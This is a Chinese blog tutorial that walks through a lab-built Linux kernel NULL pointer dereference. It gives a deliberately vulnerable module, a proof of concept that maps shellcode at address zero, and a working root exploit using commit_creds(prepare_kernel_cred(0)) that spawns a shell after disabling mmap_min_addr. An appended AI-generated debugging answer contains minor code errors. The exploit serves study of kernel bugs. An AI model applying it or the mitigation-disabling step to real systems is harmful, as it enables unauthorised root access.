新手玩转Linux Kernel漏洞之Null Pointer Dereference

本文介绍了一种Linux内核中的空指针解引用漏洞,通过编写特定的模块和利用代码,展示了如何触发该漏洞并进一步实现权限提升的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

新手玩转Linux Kernel漏洞之Null Pointer Dereference

前言

这是我内核漏洞的入门篇, 不是很复杂, 希望能给徘徊在门外的小伙伴一点启发.

漏洞描述

    A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

漏洞代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

void (*my_funptr)(void);

int bug1_write(struct file* file, const char* buf, unsigned long len){
    my_funptr();
    return len;
}

static int __int null_dereference_init(void){
    printk(KERN_ALERT "null_dereference driver init!\n");
    create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
    return 0;
}

static void __exit null_dereference_exit(void){
    printk(KERN_ALERT "null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);

小结: 这是一个Linux Kernel Module类型代码,载入内核执行初始化null_dereference_init. 在proc中创建一个Entrybug1.当write bug1时, 会触发Kernel调用bug1_write函数,而bug1_write中的my_funptr()是一个空指针.建议大家去学习一下这段代码中不懂的点, 理解上面这段代码很是重要

编译Module

obj-m := null_dereference.o
KERNELDR := /home/bill/CTF/Kernel/linux-2.6.32/
PWD := $(shell pwd)
modules:
    $(MAKE) -C $(KERNELDR) M=$(PWD) modules
modules_install:
    $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
    $(MAKE) -C $(KERNELDR) M=$(PWD) clean

需要注意的几点: KERNELDR填写为自己机器的源码根目录, 我自己在Ubuntu 12.04 i386上面没有编译成功, 在Ubuntu 16.04 64bit上面编译成功了.

null_dereference.ko放入到busybox-1.19.4/_install/usr中.

Poc.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>

char payload[] = "\xe9\xea\xbe\xad\xde"; //jmp 0xdeadbeef

int main(){
    mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "bill", 4); //call my_funptr
    return 0;
}

静态编译,放入busybox-1.19.4/_install/usr中,gcc -static Poc.c -o Poc.

调试

重新打包rootfs.img, 启动Qemu, CTRL + ALT + 2, 输入gdbserver tcp::1234,
result02
CTRL + ALT + 1切回命令行,

insmod /usr/null_dereference.ko #载入Module
/usr/Poc

结果:

result03

结论:证明执行了我们的shellcode.

提权

从普通用户提权到root用户.

知识点

    进程的特权等级是通过struct cred结构体来标识的.当一个进程的uid,gid0, 就表明这是一个root进程,提权成功.

struct cred {
    atomic_t usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    uid_t       uid;        /* real UID of the task */
    gid_t       gid;        /* real GID of the task */
    uid_t       suid;       /* saved UID of the task */
    gid_t       sgid;       /* saved GID of the task */
    uid_t       euid;       /* effective UID of the task */
    gid_t       egid;       /* effective GID of the task */
    uid_t       fsuid;      /* UID for VFS ops */
    gid_t       fsgid;      /* GID for VFS ops */
    ......
}

Expolit

  1. 思路: 执行commit_creds(prepare_kernel_cred(0))
/*
 *prepare_kernel_cred - Prepare a set of credentials for a kernel service
 */
struct cred *prepare_kernel_cred(struct task_struct *daemon);
/*
 * commit_creds - Install new credentials upon the current task
 */
int commit_creds(struct cred* new)
  1. 获取函数地址
/# grep prepare_kernel_cred /proc/kallsyms
c1069be0 T prepare_kernel_cred
/# grep commit_creds /proc/kallsyms
c1069a40 T commit_creds
  1. 编写shellcode
xor %eax, %eax
call 0xc1069be0 //prepare_kernel_cred
call 0xc1069a40 //commit_creds
ret

保存为payload.s

$ gcc payload.s -o payload -nostdlib -Ttext=0
$ objdump -d payload

00000000 <.text>:
   0:   31 c0                   xor    %eax,%eax
   2:   e8 d9 9b 06 c1          call   c1069be0 <_end+0xc1068bd0>
   7:   e8 34 9a 06 c1          call   c1069a40 <_end+0xc1068a30>
   c:   c3  
char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";
  1. 编写exp.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
/*
 *xor %eax, %eax
 *call 0xc1069be0
 *call 0xc1069a40
 *ret
 */
char payload[] = "\x31\xc0\xe8\xd9\x9b\x06\xc1\xe8\x34\x9a\x06\xc1\xc3";

int main(){
    mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(0, payload, sizeof(payload));
    int fd = open("/proc/bug1", O_WRONLY);
    write(fd, "bill", 4); //call my_funptr
        system("/bin/sh");
    return 0;
}

编译: gcc -static exp.c -o exp, 拷贝入’/usr’目录, 重新打包.
4. 提权
由于内核已经使用mmap_min_addr作为缓解措施, 我们需要让你重新为0.

#/ sysctl -w "vm.mmap_min_addr=0"
#/ mdkir -p /home/bill
#/ touch /etc/passwd
#/ touch /etc/group
#/ adduser bill
#/ insmod /usr/null_dereference.ko
#/ su bill
~$ /usr/exp
/home/bill #

结果图:

result04

相关链接

pwn4
相关文件下载

<think>好的,用户遇到了内核空指针解引用的问题,需要解决。首先,我要回忆一下这个问题的常见原因和解决方法。空指针解引用通常是因为代码中访问了未初始化或已释放的内存地址,导致系统崩溃或Oops信息。 首先,用户提供的引用[1]中提到,Oops信息会包含发生错误的具体代码行,比如IP地址和堆栈跟踪。所以第一步应该是分析Oops日志,定位出错的代码位置。可能需要使用addr2line工具将地址转换为源码行号。 接下来,常见的原因可能包括:未正确初始化指针、释放内存后未置空、竞态条件导致指针被错误访问,或者内核模块未正确处理资源。需要逐一排查这些可能性。 然后,解决方法可能涉及代码审查,检查指针使用是否正确,是否有潜在的并发问题。使用静态分析工具如Sparse或Coccinelle可以帮助发现潜在问题。另外,开启内核调试选项如CONFIG_DEBUG_KERNEL和CONFIG_DEBUG_SLAB可能会有帮助。 动态调试方面,使用kprobes或ftrace跟踪函数执行,或者利用KGDB进行远程调试。如果问题难以复现,可能需要增加日志输出,在可疑的地方添加printk记录指针状态。 用户可能还需要检查内核配置,确保相关驱动或模块正确配置,避免硬件兼容性问题。此外,检查是否有已知的内核补丁,升级内核版本或应用补丁可能解决问题。 最后,预防措施包括代码规范(如初始化指针为NULL)、使用内核提供的安全函数如kzalloc,以及加强错误处理机制。用户需要结合具体错误信息,逐步排查,可能需要多次测试和调试才能解决。</think>### 内核空指针解引用问题解决方案 #### 1. 分析Oops日志 内核空指针解引用(NULL pointer dereference)通常伴随“BUG: unable to handle kernel NULL pointer dereference”错误提示。首先需解析Oops信息: - **定位错误地址**:例如`IP: [<c06969d4>] iret_exc+0x7d0/0xa59`表示指令指针地址为`c06969d4` - **转换地址到代码行**: ```bash addr2line -e vmlinux c06969d4 ``` 该命令可将地址映射到内核源码文件和行号[^1] #### 2. 常见原因排查 | 原因类型 | 检测方法 | 修复示例 | |----------------|-----------------------------------|--------------------------| | 未初始化指针 | 检查结构体/函数参数初始化逻辑 | `struct foo *p = NULL;` → `kzalloc`分配 | | 竞态条件 | 分析代码并发场景 | 增加锁机制`spin_lock_irqsave` | | 内存释放后访问 | 检查`kfree`后是否重置指针 | `kfree(ptr); ptr = NULL;` | | 硬件兼容性问题 | 检查驱动设备树(dts)配置 | 更新设备树寄存器地址范围 | #### 3. 调试工具链 ```bash # 启用内核调试选项 CONFIG_DEBUG_KERNEL=y CONFIG_DEBUG_SLAB=y CONFIG_KALLSYMS=y # 动态调试方法 echo 'file drivers/xxx/*.c +p' > /sys/kernel/debug/dynamic_debug/control ``` #### 4. 代码加固示例 ```c // 原危险代码 void unsafe_func(struct device *dev) { dev->ops->callback(); // 未检查dev->ops是否有效 } // 修复后代码 void safe_func(struct device *dev) { if (unlikely(!dev || !dev->ops || !dev->ops->callback)) { pr_err("Invalid device context\n"); return -EINVAL; } dev->ops->callback(); } ``` #### 5. 硬件相关特殊案例 对于ARM架构的PCIe设备驱动,需特别注意: ```dts pcie_controller: pcie@fe000000 { /* 错误配置可能导致BAR空间映射失败 */ reg = <0 0xfe000000 0 0x2000000>; /* 正确配置应包含完整地址空间 */ reg = <0 0xfe000000 0 0x2000000>, <0 0x30000000 0 0x400000>; }; ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值